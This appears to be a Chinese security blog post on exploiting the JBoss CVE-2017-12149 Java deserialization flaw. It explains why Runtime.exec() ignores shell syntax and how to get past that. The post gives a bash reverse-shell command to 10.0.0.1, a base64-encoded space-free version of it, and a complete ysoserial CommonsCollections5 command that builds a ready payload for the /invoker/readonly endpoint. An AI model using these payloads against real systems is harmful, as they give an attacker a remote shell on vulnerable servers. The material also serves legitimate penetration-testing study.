JBoss CVE-2017-12149 这个反序列化漏洞,比较标准的readObject(),从原理上没什么好说的。利用方法是直接使用ysoserial生成POC,然后附在HTTP POST包里发送给目标的/invoker/readonly即可。
那我就来说个别的。 #奇技淫巧#
反序列化漏洞中通常使用Runtime.getRuntime().exec()来执行命令,但这个方法和PHP中的shell_exec有一个很大的不同:它执行命令不是使用bash来执行,而是启动这个命令本身。(这又让我想到Python中subprocess.run方法的shell参数,当shell=False的时候,效果也相同)
以bash来执行命令有一个很显著的特征,用Python 3.5来举个例子:
import subprocess
subprocess.check_output("curl -v example.com/?`whoami`", shell=True)
subprocess.check_output(["curl", "-v", "example.com/?`whoami`"], shell=False)
如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。所以,我通过反引号即可执行自己的命令(whoami)。(图1)
如果shell=False的话,启动的是curl这个可执行程序本身,后面的参数不再支持shell语法,只是一个字符串而已。(图2)
Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。
所以,有的同学在反序列化漏洞的利用中,执行的命令为 bash -i >& /dev/tcp/10.0.0.1/21 0>&1 ,显然是不会成功的。
那我们改进一下,用bash去执行这一串代码:
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"
这样理论上就没有问题了,用bash执行这串代码,这里面的特殊符号也就有了实际意义。
但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。
所以上述代码被分割成了["bash", "-c", "\"bash", "-i", ">&", "/dev/tcp/10.0.0.1/21", "0>&1\""],破坏了命令原本的意思,所以也不行。
所以我们还需要来规避空格。规避空格的方法以前也说过很多,各种CTF里也出现过一些,我就不展开说了。
我们可以利用一个在线工具
java.lang.Runtime.exec() Payload Workarounds - @Ja... 来自动生成我们需要的命令。(图3)
比如上述反弹shell的命令被转换成了
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
没有空格。这个结果可以直接传给ysoserial来生成POC了:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser